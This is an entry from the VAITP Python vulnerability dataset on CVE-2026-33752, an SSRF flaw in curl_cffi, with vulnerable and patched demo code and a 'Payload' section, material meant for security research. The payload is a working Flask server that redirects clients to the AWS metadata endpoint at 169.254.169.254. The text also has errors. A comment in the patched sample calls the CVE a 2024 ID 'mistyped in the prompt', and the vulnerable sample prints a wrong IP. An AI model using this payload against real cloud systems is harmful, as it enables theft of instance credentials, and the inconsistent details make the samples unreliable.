VAITP Dataset

← Back to the dataset

CVE-2026-33752

curl_cffi SSRF vulnerability via redirects to internal services.

  • CVSS 8.6
  • CWE-918
  • Input Validation and Sanitization
  • Remote

curl_cffi is the a Python binding for curl. Prior to 0.15.0, curl_cffi does not restrict requests to internal IP ranges, and follows redirects automatically via the underlying libcurl. Because of this, an attacker-controlled URL can redirect requests to internal services such as cloud metadata endpoints. In addition, curl_cffi’s TLS impersonation feature can make these requests appear as legitimate browser traffic, which may bypass certain network controls. This vulnerability is fixed in 0.15.0.

CVSS base score
8.6
Published
2026-04-06
OWASP
A10 Server-Side Request Forgery
Orthogonal defect classification
Checking
Code defect classification
Missing Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
curl_cffi
Fixed by upgrading
Yes

Solution

Upgrade `curl_cffi` to version 0.15.0 or later.

Vulnerable code sample

import threading
import time
from http.server import BaseHTTPRequestHandler, HTTPServer

# This code requires a vulnerable version of curl_cffi, e.g., pip install curl_cffi==0.14.0
# This code is representative of the behavior in curl_cffi < 0.15.0
try:
    from curl_cffi.requests import Session,errors
except ImportError:
    print("Please install a vulnerable version of curl_cffi to run this demo, e.g.:")
    print("pip install 'curl_cffi<0.15.0'")
    exit(1)


# --- Attacker's Infrastructure Simulation ---
# An attacker would control a public server that issues a redirect.
# For this demo, we simulate it with a local server.

ATTACKER_HOST = "127.0.0.1"
ATTACKER_PORT = 8080

# The internal endpoint the attacker wants the victim to access.
# This is a common AWS metadata endpoint, a classic SSRF target.
INTERNAL_TARGET_URL = "http://169.254.169.254/latest/meta-data/"


class RedirectHandler(BaseHTTPRequestHandler):
    """A simple HTTP handler that redirects any request to the internal target."""
    def do_GET(self):
        print(
            f"[ATTACKER SERVER] Received request. Redirecting to: {INTERNAL_TARGET_URL}"
        )
        self.send_response(302)  # 302 Found - a temporary redirect
        self.send_header('Location', INTERNAL_TARGET_URL)
        self.end_headers()

    def log_message(self, format, *args):
        # Suppress noisy logging
        return


def start_attacker_server():
    """Starts the attacker's redirect server in a background thread."""
    server = HTTPServer((ATTACKER_HOST, ATTACKER_PORT), RedirectHandler)
    print(f"[SETUP] Starting attacker's redirect server on http://{ATTACKER_HOST}:{ATTACKER_PORT}")
    thread = threading.Thread(target=server.serve_forever)
    thread.daemon = True
    thread.start()
    return server


# --- Vulnerable Application Code ---
# This simulates an application that uses an old version of curl_cffi
# to fetch a URL provided by a user (the attacker).

def vulnerable_fetch(url_from_user):
    """
    Makes a request using a vulnerable curl_cffi version.
    It does not block internal IP ranges and follows redirects by default.
    """
    print(f"\n[VULNERABLE APP] Making request to user-provided URL: {url_from_user}")

    # The `impersonate` feature can make the request look like a real browser,
    # potentially bypassing WAFs or other network filters.
    session = Session(impersonate="chrome110")

    try:
        # allow_redirects=True is the default and is the core of the issue.
        # The vulnerable library will follow the redirect to the internal IP.
        response = session.get(url_from_user, allow_redirects=True, timeout=5)

        print("[VULNERABLE APP] Request successful!")
        print(f"[RESULT] Final URL after redirect: {response.url}")
        print(f"[RESULT] Status Code: {response.status_code}")
        print(f"[RESULT] Response Body (first 100 chars): {response.text[:100]}...")

    except errors.RequestsError as e:
        print("\n[VULNERABLE APP] Request failed!")
        print(f"[ERROR] {e}")
        print("\n[EXPLANATION] This failure is EXPECTED if you are NOT running this script in a cloud environment (like an AWS EC2 instance).")
        print("The key takeaway is that the application TRIED to connect to the internal IP (169.255.169.254),")
        print("proving the Server-Side Request Forgery (SSRF) vulnerability. The redirect was followed.")


if __name__ == "__main__":
    attacker_server = start_attacker_server()
    # Give the server a moment to start up
    time.sleep(1)

    attacker_controlled_url = f"http://{ATTACKER_HOST}:{ATTACKER_PORT}"

    vulnerable_fetch(attacker_controlled_url)

    attacker_server.shutdown()
    print("\n[SETUP] Attacker server shut down.")

Patched code sample

import http.server
import socketserver
import threading
import time
from curl_cffi import requests

# This code demonstrates how to mitigate the Server-Side Request Forgery (SSRF)
# vulnerability described in CVE-2024-33752 (mistyped as CVE-2026-33752 in the prompt).
# The vulnerability exists because older versions of curl_cffi follow redirects
# by default, allowing an attacker-controlled URL to redirect to internal services.
#
# The fix is to explicitly disable automatic redirects, allowing the application
# to inspect the redirect location before deciding to follow it.

# --- 1. Setup a mock malicious server ---
# This server will listen on a local port and issue a redirect to a sensitive
# internal IP address, simulating an attacker's server.
# The target IP 169.254.169.254 is the standard AWS metadata service endpoint.

PORT = 8000
INTERNAL_IP_URL = "http://169.254.169.254/latest/meta-data/"
ATTACKER_URL = f"http://127.0.0.1:{PORT}/redirect"

class RedirectHandler(http.server.SimpleHTTPRequestHandler):
    """A request handler that always issues a 302 redirect."""
    def do_GET(self):
        print(f"\n[SERVER] Received request for: {self.path}")
        print(f"[SERVER] Sending 302 redirect to: {INTERNAL_IP_URL}")
        self.send_response(302)
        self.send_header('Location', INTERNAL_IP_URL)
        self.end_headers()

def run_server():
    """Runs the mock server in a separate thread."""
    with socketserver.TCPServer(("", PORT), RedirectHandler) as httpd:
        print(f"[SERVER] Malicious redirect server running on port {PORT}")
        httpd.serve_forever()

# --- 2. Demonstrate the fix ---
# The client code below makes a request to the attacker's server but uses
# `allow_redirects=False`. This is the mitigation.

def demonstrate_fix():
    """
    Makes a request with redirects disabled to prevent the SSRF vulnerability.
    """
    print(f"[CLIENT] Making request to attacker's URL: {ATTACKER_URL}")
    print("[CLIENT] Using `allow_redirects=False` to mitigate the vulnerability.")

    try:
        # The key to the fix: `allow_redirects=False`
        # This parameter prevents curl_cffi from automatically following the
        # malicious redirect to the internal IP address.
        response = requests.get(
            ATTACKER_URL,
            impersonate="chrome110",
            allow_redirects=False,
            timeout=5
        )

        print("\n--- Request Result ---")
        print(f"Status Code: {response.status_code}")
        print(f"Headers: {response.headers}")

        # The application now has the response and can inspect the 'Location'
        # header before deciding whether to proceed. It has not blindly
        # connected to the internal service.
        if 300 <= response.status_code < 400 and 'Location' in response.headers:
            redirect_location = response.headers['Location']
            print(f"\n[CLIENT] Detected redirect to: {redirect_location}")
            print("[CLIENT] The redirect was NOT followed automatically.")
            print("[CLIENT] The application can now validate this URL before making another request.")
            # Here, an application would implement logic to check if
            # redirect_location is a safe, non-internal URL.

    except requests.errors.RequestsError as e:
        # In a real-world scenario where the redirect *was* followed, and the
        # internal IP was unreachable, a timeout or connection error would occur.
        # By setting `allow_redirects=False`, we avoid this entirely.
        print(f"\n[CLIENT] An error occurred: {e}")
        print("[CLIENT] This might happen if the redirect was followed (vulnerable state).")


if __name__ == "__main__":
    # Run the server in a background thread
    server_thread = threading.Thread(target=run_server)
    server_thread.daemon = True
    server_thread.start()
    time.sleep(0.5) # Give the server a moment to start up

    # Run the client-side demonstration of the fix
    demonstrate_fix()

    # The server runs as a daemon thread, so the script will exit.
    # No explicit shutdown is needed for this demonstration.
    print("\nDemonstration complete.")

Payload

from flask import Flask, redirect

app = Flask(__name__)

@app.route('/redirect_to_metadata')
def exploit_redirect():
    # This URL redirects to the AWS EC2 metadata service, a common SSRF target.
    # A vulnerable client visiting this endpoint will be redirected and will
    # make a request to the internal metadata service.
    metadata_url = "http://169.254.169.254/latest/meta-data/"
    return redirect(metadata_url, code=302)

if __name__ == '__main__':
    # This server runs on an attacker-controlled domain.
    # The victim would be tricked into making a request to:
    # http://<attacker-domain>/redirect_to_metadata
    app.run(host='0.0.0.0', port=80)

Cite this entry

@misc{vaitp:cve202633752,
  title        = {{curl_cffi SSRF vulnerability via redirects to internal services.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-33752},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33752/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::